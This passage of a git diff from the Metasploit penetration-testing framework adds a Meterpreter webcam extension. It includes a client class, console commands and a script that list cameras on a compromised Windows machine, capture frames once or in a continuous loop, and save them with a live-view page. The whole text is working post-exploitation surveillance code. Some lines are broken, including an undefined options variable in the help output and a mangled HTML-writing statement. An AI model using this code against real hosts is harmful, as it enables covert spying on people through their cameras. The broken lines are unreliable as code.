+module Extensions +module Webcam + +TLV_TYPE_WEBCAM_IMAGE = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 1) +TLV_TYPE_WEBCAM_INTERFACE_ID = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 2) +TLV_TYPE_WEBCAM_QUALITY = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 3) +TLV_TYPE_WEBCAM_NAME = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 4) +TLV_TYPE_WEBCAM_SOUND = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 5) + +end +end +end +end +end \ No newline at end of file diff --git a/lib/rex/post/meterpreter/extensions/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/webcam/webcam.rb new file mode 100644 index 0000000000..ec822b59e4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/webcam/webcam.rb @@ -0,0 +1,61 @@ +#!/usr/bin/env ruby + +require 'rex/post/meterpreter/extensions/webcam/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Webcam + +### +# +# This meterpreter extension can list and capture from webcams +# +### +class Webcam < Extension + + + def initialize(client) + super(client, 'webcam') + + client.register_extension_aliases( + [ + { + 'name' => 'webcam', + 'ext' => self + }, + ]) + end + + def webcam_list + response = client.send_request(Packet.create_request('webcam_list')) + names = [] + response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + names << tlv.value + } + names + end + + def webcam_start(cam) + request = Packet.create_request('webcam_start') + request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) + client.send_request(request) + true + end + + def webcam_get_frame(quality) + request = Packet.create_request('webcam_get_frame') + request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) + response = client.send_request(request) + response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + end + + def webcam_stop + client.send_request( Packet.create_request( 'webcam_stop' ) ) + true + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb new file mode 100644 index 0000000000..46f1ae773a --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/webcam.rb @@ -0,0 +1,106 @@ +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Webcam - Capture video from the remote system +# +### +class Console::CommandDispatcher::Webcam + + Klass = Console::CommandDispatcher::Webcam + + include Console::CommandDispatcher + + # + # Initializes an instance of the webcam command interaction. + # + def initialize(shell) + super + end + + # + # List of supported commands. + # + def commands + { + "webcam_list" => "List webcams", + "webcam_snap" => "Take a snapshot from the specified webcam" + } + end + + def cmd_webcam_list + client.webcam.webcam_list.each_with_index { |name, indx| + print_line("#{indx + 1}: #{name}") + } + return true + end + + def cmd_webcam_snap(*args) + path = Rex::Text.rand_text_alpha(8) + ".jpeg" + quality = 50 + view = true + index = 1 + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], + "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], + "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_snap [options]\n" ) + print_line( "Grab a frame from the specified webcam." ) + print_line( webcam_frame_opts.usage ) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_line("[*] Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_line("[*] Got frame") + client.webcam.webcam_stop + print_line("[*] Stopped") + + if( data ) + ::File.open( path, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( path ) + print_line( "Webcam shot saved to: #{path}" ) + Rex::Compat.open_file( path ) if view + end + return true + end + + # + # Name for this dispatcher + # + def name + "Webcam" + end + +end + +end +end +end +end + diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb new file mode 100644 index 0000000000..0da1870515 --- /dev/null +++ b/scripts/meterpreter/webcam.rb @@ -0,0 +1,101 @@ +# $Id$ +# +# Simplify running webcam, whether grabbing a single frame or running +# a continous loop. + +@client = client +opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu" ], + "-f" => [ false, "Just grab single frame"], + "-l" => [ false, "Keep capturing in a loop (default)" ], + "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: 50)" ], + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ] +) + +folderpath = "." +single = false +quality = 50 +index = 1 +interval = 1000 +opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_line "webcam -- view webcam over session" + print_line(opts.usage) + raise Rex::Script::Completed + when "-f" + single = true + when "-l" + single = false + when "-d" + interval = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + folderpath = val + end +} + +if !(client.platform =~ /win32|win64/) + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed +end +begin + if not client.ext.aliases.include?( "webcam" ) + print_status("Loading webcam extension") + @client.console.run_single("use webcam") + #client.core.use( "webcam" ) + end + camlist = client.webcam.webcam_list + if camlist.length == 0 + print_error("Error: no webcams found!") + raise Rex::Script::Completed + elsif camlist.length < index + print_error("Error: only #{camlist.length} webcams found!") + raise Rex::Script::Completed + end + print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") + client.webcam.webcam_start(index) + imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" + begin + if single == true + data = client.webcam.webcam_get_frame(quality) + if( data ) + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( imagepath ) + print_line( "[*] Image saved to : #{path}" ) + Rex::Compat.open_file( path ) + end + else + ::File.open(htmlpath, 'wb' ) do |fd| + fd.write('" ) + end + print_line( "[*] View live stream at: #{htmlpath}" ) + Rex::Compat.open_file(htmlpath) + print_line( "[*] Image saved to : #{imagepath}" ) + while true do + data = client.webcam.webcam_get_frame(quality) + if( data ) + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + end + select(nil, nil, nil, interval/1000.0) + end + end + rescue ::Exception => e + print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") + end + print_line("[*] Stopping webcam") + client.webcam.webcam_stop +rescue ::Exception => e + print_error("Error: #{e.class} #{e} #{e.backtrace}") +end